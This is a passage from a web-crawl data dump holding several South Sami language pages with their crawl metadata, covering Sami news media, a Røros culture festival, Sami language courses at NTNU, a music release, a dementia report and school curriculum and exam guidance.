tjaalasåvva dovne nöörjen, noerhtesaemien jïh åarjelsaemien, mij lea hijven abpe Saapman.\n- Mijjieh jeatjahlaakan reportasjh jïh saernie-aamhtesh darjobe, Anne Berit soptseste åvtelen vihth:\n- Jïh mijjieh reportasjh saemien aerpievuekiej bïjre darjobe. Almetjh åadtjoeh lohkedh jïh lïeredh guktie loesem såålhtoe, guktie bidusem dorje jïh jïjnje ovmessie. Seamma tïjjen journaliste mij aamhtesi bïjre tjaala aaj leara, Anne Berit mojjehte.\nPreessedåarjoe\nAnne Berit jïh Anne joekehtslaakan berkieh, men ij guhte dejtie tjïekh plaerie preessedåarjoem daarpesje juktie plaeriem enn vielie lutnjedh. Anne Berit soptseste jis plaerie dåarjoem åådtje, ij sïjhth plaeriem ellieslaakan jarkelidh. Dïhte aajnehke maam sæjhta lea plaeriem stuerebe darjodh, jienebh sæjroeh gusnie maahta jienebh reportasjh utnedh.\n- Sïjhtebe aaj journalistem elliestïjjen seehtedh, jis preessedåarjoem åadtjobe, Anne Berit mojjehte.\nJis illedahke sjædta plaerie ij preessedåarjoem åadtjoeh, tjuerieh tjihkedidh vuarjasjidh maam edtjieh guhkiebasse darjodh.\n- Tjoerebe gaavnehtidh mejtie edtjebe plaeriem hiejhtedh jallh aktem vielie jaepiem tjabredh dastegh dåarjoem åadtjobe mubpien jaepien, Anne Berit soptseste.\nSÁMi ođasmagasiidna ovmessie aamhtesi bïjre tjaala. Dovne guhkebe reportasjh jïh reportasjh gusnie saemiepolitihkeles aamhtesh goerehte. Plaerie pryövoe dejtie aamhtesidie bæjjese lutnjedh, jïh daamtaj gihtjehtimmieh åtna nöörjen åejvieladtjigujmie.\n- Mijjieh akte ČSV-plaerie jïh manne sïjhtem dïhte edtja jåerhkedh, Anne Berit mejjesne minngemosth jeahta.\nAnne Rasmus minngemosth Anne Beritem plaeriebarkojne læhkohte, jïh akten hijven laavenjostoen jïh soptsestimmiej jïh digkiedimmiej åvteste gæjhta.\n- Anne Berit akte væjkeles journaliste, aktine stoerre viermine. Manne daajram dïhte aktem veele barkoem dorje jïh sæjhta lyhkesidh, Anne minngemosth jeahta.","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/samimag.no\/sma\/content\/anne-jih-anne-berit-gegkiestieh-sami-odasmagasiidna-preessedaarjoem-aadtje","date":"2020-02-26T22:15:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146562.94\/warc\/CC-MAIN-20200226211749-20200227001749-00481.warc.gz","language":"sma","language_score":0.9999880791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999880790710449}","num_words":519,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan jaepien bïevnese Artuten kultuvre-feestesne lea dorjesovveme. Skïereden 27. biejjien bearjadahken bïevnese aalka, gusnie Eatnemeaerpiejarnge Rørosmuseet konseertese Maalmesijjesne böörie. Artut kultuvre-feesten doekoe maahta gaajhkem damtedh. Vuesiehtimmien gaavhtan jubileeumequize, goltelimmieh, konseerth, teateerh, vuesiehtimmieh, kåanste-baalkerdimmie, konseertetjh, VM Röörosen påålsesne, filmh, filmegaskebiejjien beapmoe jïh jienebh.\nArtut kultuvre-feesten aamhtese jaepien 2019 lea jubileeume – Gellieh daan jaepien öörnemh leah aaktøri, almetji jallh organisasjovni bïjre mejtie utnieh jubileeume daan jaepien. Johan Falkberget lea ulmie tjïjhtje heannadimmine mejtie kultuvre-feeste åtna. Harald Sohlbergen bïjre aaj maehtebe vielie lïeredh, goerehtimmien, kåanste-baalkerdimmien jïh maanaj vierhkiesijjien tjïrrh. Gegkestibie gaajhkesh dovnesh sijhtieh dåeriedidh Röörosen laavlomem laavlodh jïh KES Lundem heevehtidh, gie edtjebe golken heevehtidh.\nArtut kultuvre-feeste lea öörnesovveme ektiebarkoen tjïrrh, gusnie gïehtelimmien kultuvre jïh aarkebiejjie Röörosen tjïeltesne, voenges jieleme jïh kultuvrejieleme leah laavenjosteme. Dunnie artut.no maahta vielie kultuvre-festivaalen bïjre lohkedh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/rorosnytt.no\/jienebh-50-deahpadimmieh-artutsne\/","date":"2020-05-28T06:29:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347398233.32\/warc\/CC-MAIN-20200528061845-20200528091845-00004.warc.gz","language":"sma","language_score":0.9999645948,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999645948410034}","num_words":126,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goevten Jørn Jensen Lærhandel voestes annonsöövre Saernieh nehtesæjrosne sjidti.\nJørn Jensen Lærhandel lea fuelhkiesïelte mij lea skåerrine jïh hovrine 50 jaepiej bijjeli barkeme. Sïelte skåerriem jïh hovrem duaka vaarjojde, veaskojde, nejpide, dahpide, geasastahkide jïh nimhtie.\nArild Jensen lea fuelhkiesïelten fïerhtenbeajjetjen åejvie, mohte lij dan aehtjie, Jørn Jensen mij sïeltem eelki. Jørn Jensen lea fuelhkiesïeltem 50 jaepiej bijjeli stuvreme. Daelie dïhte pensjonistine sjidteme, mohte læjhkan lyjhkoe viehkiehtidih.\nJørn Jensen aaj jeahta saemien siebriedahkem damta juktie pråvhka dalhketjh aaj båatsoeburride jïh saemide doekedh.\n-Mov baalka saemien siebriedahkese lea mov rïektes vaajnoe saemien vytnesjæmman. 40 jaepiej bijjeli manne leam saemien duedtiem tjöönghkeme, dovne myövhkes vætnah goh skåerrieh, garres vætnah goh nejpieh, dahph jïh nimhtie. 40 jaepiej bijjeli Jåhkåmåhken maarhnesne manne leam gellie tryjjes almetjidie råakeme. Dovne saemien ööhpehtimmiejarngesne jïh nimhtie leah gellie gaskesh saemien siebriedahkesne munnjien vadteme, Jørn Jensen jeahta.\nMijjieh Saernieh-ståvrosne aaj sïjhtebe jiehtedh: Datne aaj sïjhth annonesem mijjen nehtesæjrose bïejedh? Gaskesadth Anita Holmberg Sivertsgård jïh rïngkh +47 996 34 190.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/jorn-jensen-laerhandel-lea-mijjen-voestes-annonsoovre-saernieh-nehtesaejrosne\/","date":"2020-06-02T23:33:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00051.warc.gz","language":"sma","language_score":0.9999226332,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999226331710815}","num_words":151,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåetie gusnie ij guhte årroeminie daelie jïh lea eevre slahtjan, lij desnie gusnie doh ålmah årroejin mah lin meatan dennie gæmhposne mij gohtjesåvva operasjon Rype mubpene veartenedåarosne. Rype lij goh doh jeanatjommesh daejrieh dïhte aajnehke amerihkanen operasjovne nöörjen eatnamisnie mubpene veartenedåarosne, jïh gåetie daesnie dan åvteste aktem stoerre histovrijes aarvoem åtna. Deraas lea viehkine dïmperdæjjamïesteristie Nicolas Malmbekk Naels, aktem råajvarimmiesoejkesjem dorjeme juktie gåetiem beerkedh jïh dam dåvvodh guktie sjædta guktie lij 2. veartenedåaroen. Dïhte ussjede barkoe maahta joe aelkedh daan daelvien.\nNyheter","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.snasningen.no\/nyheter\/2018\/04\/04\/S%C3%A6jhta-histovrijes-g%C3%A5etiem-beerkedh-16408592.ece","date":"2020-05-28T13:57:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347399820.9\/warc\/CC-MAIN-20200528135528-20200528165528-00211.warc.gz","language":"sma","language_score":0.9999755621,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999755620956421}","num_words":81,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Alle innlegg: Jenny-Krihke Bendiksen\nGaaltije lea åarjelsaemien gïelejarnge mij Staaresne tseegkeme. Erika Unnes Gaaltijisnie barka jïh daan jaepien edtja «Luste tjaeledh» öörnedh. «Luste tjaeledh»\nPreessebïevnese: Göökte ålmah mah sjeesadimmien rïjhke-laagesne*(*skøytelandslaget) lægan skïemtjegåatan saadtesovveme. Skïereden 24.biejjien dæjstan ligan Inzellesne Tysklaantesne saavreminie gosse haeviem åadtjoejigan. Simen\nGïeleviehkie lea akte orre prosjeekte mij Gïelem Nastedh Snåasesne jïh Saemiedigkie maeksieh jïh öörnieh. Dan prosjekten ulmie lea åarjelsaemiengïelem lutnjedh\nDaan giesien mænngan akte orre åarjelsaemien podcaste man nomme «Åarjelsaemien Åssjalommesh» lea båeteme, gusnie dunnie urplay.se gååvnese. Dunnie orre åarjelsaemien","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/rorosnytt.no\/author\/jenny\/page\/3\/","date":"2020-05-31T10:12:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347413097.49\/warc\/CC-MAIN-20200531085047-20200531115047-00011.warc.gz","language":"sma","language_score":0.9999055862,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999055862426758}","num_words":84,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Abstract\nNoerhtelaanti laavenjostoe sosijaalepolitihkeles gyhtjelassi bïjre aalkoe-almetjeperspektijvesne lea hijven vuesiehtimmie noerhtelaanti nåhtose: Daate lea naa smaave dåehkiej bïjre, laantine mah jeenjemasth haestemh juekieh goh årrojh mah ahkedh båarasåbpoe sjidtieh, barkijh fååtesieh jïh stoerre geografeles gåhkoeh.Noerhtelaanti laavenjostoe demensesuerkesne, maam Nordens välfärdscenter \/ Noerhtelaanti tryjjesvoetejarnge ektede, lea vuesiehtamme daerpies aktem daajroebaaselinjam tseegkedh, dååjrehtimmieh öörnegen mietie juekedh jïh areenam sjugniedidh juktie digkiedidh mij lea hijven sujhteme jïh hokse saemide jïh inuihtide demensine. Dotkeme jïh tjïelke daajroe fååtese sujhtemen jïh hoksen bïjre saemide jïh inuihtide demensine, men dovne Såevmesne, Nöörjesne, Sveerjesne jïh Kruanalaantesne såemiesDaate reektehtse konklusjovnh jïh raeriestimmieh dåehkiebarkojste iktede dennie voestes noerhtelaanti konferansesne aalkoe-almetji jïh demensen bïjre. Noerhtelaanti tryjjesvoetejarnge, Regijovne Jïemhte\/Herjedaelie jïh saemien heevehtimmiejaepie Staare 2018 konferansem Staaresne öörnedi tjaktjen 2018. Konklusjovnh jïh raeriestimmieh leah vuesiehtimmien gaavhtan mah tjïelke råajvarimmieh jïh jarkelimmieh mah leah daerpies ihke almetjh aalkoe-almetjemaadtojne jïh demensine edtjieh buerebe dåarjoem jïh hoksehtimmiem åadtjodh noerhtelaanti tjïeltine, guktie maehtebe daajroem juekedh tjïelti jïh laanti dåaresth jallh guktie maahta orre daajroem dennie praktihkeles barkosne sjïehtesjidh. Noerhtelaanti tryjjesvoetejarnge lea barkoedåehkiej vuajnoeh iktedamme, men mijjen bieleste ibie naan prioriteradimmieh jallh juvnehtimmieh vuesehth.Noerhtelaanti tryjjevoetejarngen stilleme lea viehkiehtidh råajvarimmide tryjjesvoetesuerkesne Noerhtelaantine evtiedidh viehkine daajroem iktedidh jïh geerjehtidh jïh areenah viermide jïh dotkemelaavenjostose sjugniedidh. Gïjren 2019 akte orre noerhtelaanti viermie tseegkesovvi suerkesne aalkoe-almetjh jïh demense, tjirkijigujmie åejvieladtjijste, dotkijigujmie jïh barkijigujmie sujhteme- jïh hoksebarkojne, Såevmeste, Nöörjeste, Sveerjeste jïh Kruanalaanteste.Daate reektehtse edtja våaroeminie årrodh digkiedæmman prioriteradimmiej bïjre noerhtelaanti laavenjostosne aalkoe-almetji jïh demensen bïjre, jïh aaj goh digkiedimmie voenges sijjine jïh laantine råajvarimmiej bïjre tjïelten jïh nasjonaale daltesisnie. Juktie våaromem raeriestimmide vedtedh reektehtse daajroevåaroeminie aalka aalkoe-almetji jïh demensen bïjre.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.norden.org\/en\/publication\/aalkoe-almetjh-jih-demense-noerhtelaantine","date":"2020-06-03T13:39:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347434137.87\/warc\/CC-MAIN-20200603112831-20200603142831-00580.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":254,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.201,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NTNU (Nöörjen Teknihkeles-Eaetnemedaejremes Universiteete) Tråantesne sæjhta daajroem lissiehtidh åarjelsaemien gïelen bïjre skuvlesne, joekoen Lohkehtæjjaööhpehtimmien Instituhtesne. Ulmie lea barkijh daejremesbarkojne maehtieh maadthdaajroem åarjelsaemien gïelen bïjre åadtjodh maam maahta ööhpehtimmesne jïh dotkemisnie nuhtjedh.\n- Manne aavone saemien gïeleråajvarimmieh vuejnedh regijovnen stööremes universiteetesne. Viehkine kuvsjem faalehtidh gaajhkide barkijidie ohtsije sæjhta saemien gïelem vielie våajnoes darjodh, jïh daejnie råajvarimmine sæjhta nuepie årrodh gïelebyjresem tseegkedh NTNU:sne guhkiebasse, saemiedigkieraerie Mikkel Eskil Mikkelsen (NSR) jeahta.\nKuvsjen ulmie lea aaj gaskesem gårredidh NTNU:n jïh voenges årroji gaskem, jïh jieniebidie almetjidie nuepiem vedtedh gïelem lïeredh. Dan åvteste kuvsje edtja ræhpas årrodh voenges årroejidie, dovne saemieh jïh daaroeh.\nNTNU:n mietie lissiehtamme ïedtje jïh voerkesvoete orreme saemien gïeli bïjre UNESCO:n aalkoealmetjegïelejaepien mænngan 2019, jïh veanhta kuvsje åarjelsaemien gïelesne sæjhta meatan årrodh daam ïedtjem tjåadtjoehtidh, maam saemiedigkieraerie tuhtjie sjollehke.\n- Joekoen hijven vuejnedh dæjmetje jaepien gaskenasjonaale gïelejaepie aalkoealmetjegielide lea illedahkh vadteme bïjre jarkan, jïh akte dagkeres dan stoerre institusjovne goh NTNU sæjhta hijven åvteguvvine årrodh, Mikkelsen jeahta.\nKuvsjen mænngan edtja gïeleprïhtjhgåetiem tseegkedh gusnie edtjieh gïeledaajrojde guhkiebasse evtiedidh oktemierien. Gïeleprïhtjhgåetie edtja gaavnedimmiesijjine gaajhkesidie sjïdtedh saaht mennie daltesisnie gïelemaahtoe lea.\nDåarjoe saemiedigkieraereste lea prioriteradimmiej mietie Muohtačalmmit-bæjhkoehtimmesne, saemiedigkieraerien aalkoebæjhkoehtimmie, gusnie gaskem jeatjah tjïerteste man vihkeles lea hoksedh saemien gïelh govloeh jïh åtnasuvvieh.\nJis dov lea gihtjehtimmie jallh gyhtjelassh, gaskesadth Saemiedigkieraeriem Mikkel Eskil Mikkelsen, tlf. +47 917 42 161. e.påaste: firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemiedigkie-aaarjelsaemien-gielekuvsjem-daaaarje-NTNU-sne","date":"2020-05-27T11:23:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347394074.44\/warc\/CC-MAIN-20200527110649-20200527140649-00196.warc.gz","language":"sma","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999980926513672}","num_words":208,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan biejjien mijjieh åadtjoejimh daejredh Ramona Linnea Victoria Kappfjell Sørfjell jïh Markus Thonhaugen, gie åehpies goh Dj iDJa, edtjijægan åarjelsaemien laavlomem ektine luejhtedh. Luejhtemebiejjie snjaltjen 24. biejjien jïh Dj iDJa aavode daam laavlomem «Im veasoeh» luejhtedh. Dj iDJa jeahta evtebe giesien eelki tjoejegïeje laavlomasse darjodh.\nÅarjelsaemien lea Markus Thonhaugen:en vaajmoen lïhke\nDj iDJa lea åehpies saemien aartiste Saepmesne jïh dïhte gellie laavlomh dorjeme. Dïhte noerhtesaemie, mohte lea åarjelsaemien dajvesne byjjenamme, jïh satne jeahta tuhtjie vihkeles aaj åarjelsaemiengïelem lutnjedh. Satne jeahta dan leah gellie åarjelsaemien voelph jïh åarjelsaemien lea Thonhaugen:en vaajmoen lïhke.\n-Mov barkoen tjïrrh manne pryövem pruvvie tradisjovni gaskese bïgkedh. Jïh vueliem\/laavlomem orre jïh kaanne daaletje vuartasjæjjide gåhtsajehtedh. Manne gegkestem buektehtem jienebh almetjidie åarjelsaemien kultuvrem gonnoeh gïelem vueptestehtedh, Markus Thonhaugen\/\/Dj iDJa jeahta.\n«Im veasoeh»\nThonhaugen jeahta Ramona Linnea Victoria Kappfjell Sørfjell:ine evtebe giesien åahpeni jïh dunnie Klemetspelet:sne dah guaktah åssjalommesinie klæhtoehtigan luste orreme sinsitnine laavenjostedh. Evtebe giesien Thonhaugen eelki laavlominie barkedh. Jeahta guhkiem laavlominie barkeme jïh gellien aejkien lea tjoejegïejem jeatjahtahteme. Njoktjen Sørfjell laavlomem toelhkesti jïh teekste laavlomasse tjeeli. Njoktjen raejeste dah guaktah lægan jïjnjem laavlominie barkeme jïh Grammy-vitnie Jeff Sojka lea laavlomem bietskiedamme. Daan våhkoen Jeff Sojka laavlome dejtie guaktide seedti jïh daelie «Im veasoeh» lea riejries.\nSnjalten 24. biejjien Thonhaugen jïh Sørfjell orre laavlome «Im veasoeh» luejhtiejægan. Tjaktjege Dj iDJa:n voestes EP båata, mij lea aartistine ÅVLA (Ole-Henrik Bjørkmo Lifjell) dorjeme. Dah edtjieh rïhpestimmiekonseerte Måehvesne öörnedh.\n-EP:sne gellie orre laavlomh! Manne jïjnjem aavodem illedahkem vuesiehtidh, Thonhaugen minngemosth jeahta.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/dj-idja-saejhta-aarjelsaemiengielem-lutnjedh-orre-laavlome-aarjelsaemiengielesne-dorjeme\/","date":"2020-07-03T19:29:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00588.warc.gz","language":"sma","language_score":0.9997311234,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997311234474182}","num_words":238,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaavnh barkijem Ohtsemebaakoe Kategori Alle Jieleme-, kultuvre- jïh healsoegoevtese Reaktah jïh gaskenasjonaale goevtese Barkije Byjjenimmie- jïh lïerehtimmiegoevtese Direktöören staabe Gaskesadtemestaabe Gïelegoevtese Govlehtallijh dåarjoe Gærjagåetie Kultuvremojhtese-, areaale- jïh byjresegoevtese Reeremegoevtese Saemiedigkieraerie Stoerretjåanghkoestaabe Stoerretjåangkoeståvroe Ohtsh Vuesehth ohtsemefilterh Templates.Standard.PersonItemListPage.SortOrder Fornavn Etternavn Orresth ohtsemeilledahkem Skubph ohtsemefilterh A Aili Keskitalo Stilling President Aili Guttorm Stilling Representant Anders Henriksen Stilling Ráđđeaddi\/Rådgiver Anders Linga Stilling Govlehtallije Dåarjoe marijne jieliemidie André Nilsen Stilling Ráđđeaddi\/Rådgiver Andreas Stångberg Stilling Faageåvtehke kultuvremojhtesh Ann Irene Sæter Stilling Fágajođiheaddji\/Fagleder Ann Mari Somby Stilling Konsuleanta\/Konsulent Anna Kristine Skum Hætta Stilling Faageåvtehke Maanagïerte Anne Kemi Vuesehte 1-10 ållesth 173 personer, sæjroe 1 ållesth 18 1 2 3 ... 17 18 Neste","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/sametinget.no\/gaavnh-barkijem\/?pageNumber=1","date":"2020-08-11T10:08:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738746.41\/warc\/CC-MAIN-20200811090050-20200811120050-00478.warc.gz","language":"sma","language_score":0.7859264612,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.7859264612197876, \"sme_Latn_score\": 0.21219521760940552}","num_words":96,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.973,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n- Maahtaldahkeulmieh\n- Faagem vierhtiedidh\nUlmie\nEengelske gïele akte veartenegïele. Gosse almetjh jeatjah laantijste råaka, gåetesne jallh gosse feeleminie, dle daamtaj eengelskem daarpesjibie. Eengelske åtnasåvva filmesne, lidteratuvresne, laavloemisnie, gaarsjelimmesne, dorjesinie, daejremevoetesne jïh teknologijesne, jïh daejnie åtnoesuerkine jïjnjh eengelsken baakoeh jïh dïejvesh leah geajnoem gaavneme mijjen jïjtsh gïelide. Gosse edtjebe bïevnesh ohtsedidh mijjen jïjtsh ïedtji bïjre jallh faageles ektiedimmesne, dle daamtaj dam eengelsken gïelesne darjobe. Lissine eengelske jiene-jienebe ööhpehtimmesne åtnasåvva jïh goh barkoegïele gelline sïeltine.\nJis edtja bïerkenidh aktene veartenisnie gusnie eengelske åtnasåvva gaskenasjovnaale govlesadtemisnie, dle daerpies dam eengelske gïelem maehtedh, jïh daajroem utnedh guktie gïele åtnasåvva ovmessie sjïekeninie. Daate sæjhta jiehtedh baakoeveahkam evtiedidh jïh tjiehpiesvoeth utnedh gïelen tjoejesysteemem, reaktoetjaelemem jïh grammatihkem nuhtjedh, daajroem utnedh prinsihpi bïjre raajese- jïh tjaalegebigkemasse, jïh maehtedh gïelem ovmessie aamhtesidie jïh govlesadtemetsiehkide sjïehtedidh. Tjuara aaj maehtedh njaalmeldh jïh tjaaleldh gïeleåtnoen gaskem joekehtidh, jïh byjjes jïh ovbyjjes gïeleåtnoen gaskem. Vijriebasse tjuara maehtedh krööhkedh guktie ovmessie kultuvrh ektesne årroeh jïh guktie edtja dåajmijes årrodh viehkine gïeleste.\nGïelem leara gosse gelliesåarhts tjaalegh dååste, gusnie tjaalegedïejvese aktene vijries goerkesisnie åtnasåvva. Daate feerhmie dovne njaalmeldh jïh tjaaleldh åehpiedehtemh ovmessie aktanimmine, jïh ovmessie njaalmeldh jïh tjaaleldh tjaalegh digitaale meedijijstie. Gosse daajroem utnebe dej strategiji bïjre mah åtnasuvvieh gosse gïelh leara, jïh dej strategiji bïjre mah mijjem viehkiehtieh guarkedh jïh guarkeme sjïdtedh, dle aelhkebe sjædta jïh stuerebe mïelem vadta daajroeh jïh tjiehpiesvoeth vejtiestidh. Aaj vihkeles jïjtse ulmieh lïerehtæmman bïejedh, jïh gaavnehtidh guktie maahta ulmide jaksedh jïh jïjtse gïeleåtnoem vuarjasjidh. Gosse eengelskem leara dle jienebegïelevoetem sjugnede, jïh dïhte maahta akte vihkeles bielie sjïdtedh mijjen jïjtse evtiedimmeste.\nLissine gïelelïerehtæmman dle eengelskefaage edtja viehkiehtidh daajroem vedtedh jieledevuekiej jïh kultuvri bïjre gusnie eengelske lea åejviegïele jallh byögkeles gïele. Faage edtja daajroem vedtedh guktie eengelske åtnasåvva goh akte gaskenasjovnaale govlesadtemevierhtie. Eengelskegïelen laanti bïjre lïeredh, jïh dan ahkedh stuerebe åtnoen bïjre eengelske gïeleste gaskenasjovnaale ektiedimmine, sæjhta akte hijven våarome årrodh veartenen mijjen bïjre guarkedh, jïh evtiedimmien bïjre eengelske gïeleste goh akte veartenegïele. Eengelskegïelen lidteræære tjaalegh maehtieh lohkeme-aavoem vedtedh mij abpe jieledem ryöhkoe, jïh mubpide jïh jïjtjemem buerebelaakan guarkedh. Njaalmeldh, tjaaleldh jïh digitaale tjaalegh, filmh, musihke jïh jeatjah kultuvrevuekieh maehtieh aaj mijjen jïjtse skaepiedihksvoetem skreejrehtidh.\nEengelskefaage lea dovne akte dïrregefaage jïh skearkagimmiefaage. Faage edtja nuepiem vedtedh meatan årrodh soptsestidh jïjtse, sosijaale, lidteræære jïh faageles teemaj bïjre. Faage edtja dam sïejhme gïelemaahtoem bæjjese bigkedh viehkine goltelidh, soptsestidh, lohkedh jïh tjaeledh, jïh nuepiem vedtedh bïevnesh jïh faagedaajroem vejtiestidh dan eengelske gïelen tjïrrh. Evtiedimmie kommunikatijve jïh gïelen tjiehpiesvoetijste jïh kultuvrelle goerkesistie maahta lissiehtamme laavenjostoem, goerkesem jïh seahkarimmiem skreejredh almetji gaskem ovmessie kultuvremaadtojne. Naemhtie gïele– jïh kultuvremaahtoe akte bielie sjædta dehtie sïejhme skearkagimmeste, jïh dam demokrateles eadtjohkevoetem jïh baalteårrojevoetem nænnoestahta.\nSide 1 Av 11","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.udir.no\/kl06\/ENG1-03\/Hele\/Formaal?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-08-13T20:36:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739073.12\/warc\/CC-MAIN-20200813191256-20200813221256-00255.warc.gz","language":"sma","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000088214874268}","num_words":435,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åenehks-vaestiedasse lea tjaalege mij jeenjemes 250 baakoeh åtna. Datne edtjh faageles laavenjassem åenehkslaakan vaestiedidh. Datne edtjh vuesiehtidh maam datne teeman bïjre maahtah, jïh edtjh dov maahtoem nuhtjedh gosse tjaalegh toelhkesth.\nMij åenehks-vaestiedasse?\nTjaaleldh eksamenen, saemien voestesgïeline jåa3, leah göökte boelhkh åenehks jïh guktie vaestiedasse. Voestes boelhkesne edtjh åenehks-vaestiedassem tjaeledh. Datne åadtjoeh jeenjemes 250 baakoeh tjaeledh.\nAajkoe laavenjassine datne edtjh dov maahtoem akten aamhtesen bïjre vuesiehtidh saemiengïelen faagesne. Datne edtjh aaj vuesiehtidh datne buektehth dov maahtoem nuhtjedh akten jallh gellie teeksti bïjre jïh maahtah åenehks jïh tjïelkes tjaalegem tjaeledh hijven struktuvrine. Lissine edtjh vuesiehtidh maahtah faage-jiehtegh nuhtjedh, jïh tjïelkes jïh åenehks raajesh tjaeledh.\nMaahtah ussjedidh åenehks tjaalegem tjaeledh lea aelhkie, men tjoerh sjïere krïevemh ussjedidh gosse tjaalah. Tjoerh eensi struktuvrem utnedh jïh gïeleldh tjiehpiesvoetem vuesiehtidh.\nAelkedh tjaeledh\nVoestegh tjoerh laavenjassem eensilaakan lohkedh. Aellieh tjaelieh ajve maam daajrah aamhtesen bïjre. Vïhtesjh vihkeles baakoeh laavenjassesne. Datne maahtah daejtie nuhtjedh mænngan gosse goerehteminie mejtie datne ellies laavenjassem vaestiedamme.\nTjaelieh åenehks notaatem fakta-bïevnesigujmie maam daarpesjh gosse aalkah vaestiedassem tjaeledh. Veeljh jeenjemes golme viehkie-vierhtieh mejtie sïjhth nuhtjedh. Tjaelieh sæjroem jallh url-adressem guktie datne aelhkieslaakan bïevnesh gaavnh maam daarpesjh.\nMaam tjaalegh teeman bïjre soptsestieh?\nDan mænngan datne tjoerh lissie-tjaalegh eensilaakan lohkedh. Hijven dam göökten aejkien darjodh. Maahtah maam akt orre mubpien aejkien aajhtsedh.\nJis laavenjasse datnem birrie edtjh göökte tjaalegh viertiestidh, dellie tjoerh ohtsedidh mij lea seammalaakan jïh joekehtslaakan. Tjaalegh seamma jallh joehkehts perspektijvh, vuajnoeh, viehkie-dïrregh jallh soptsestimmie-vuekieh utnieh? Gosse tjaalegem lohkh, maahtah åenehks tsiehkiebaakoe-læstoem tjaeledh mïsse maahtah vuejnedh mearan tjaelieminie.\nTjaeleme-prosesse\nNaemhtie hijven struktuvrem darjoeh\nGosse edtjh tjaalegem bigkedh, maahtah vïjhteboelhke-vuekiem 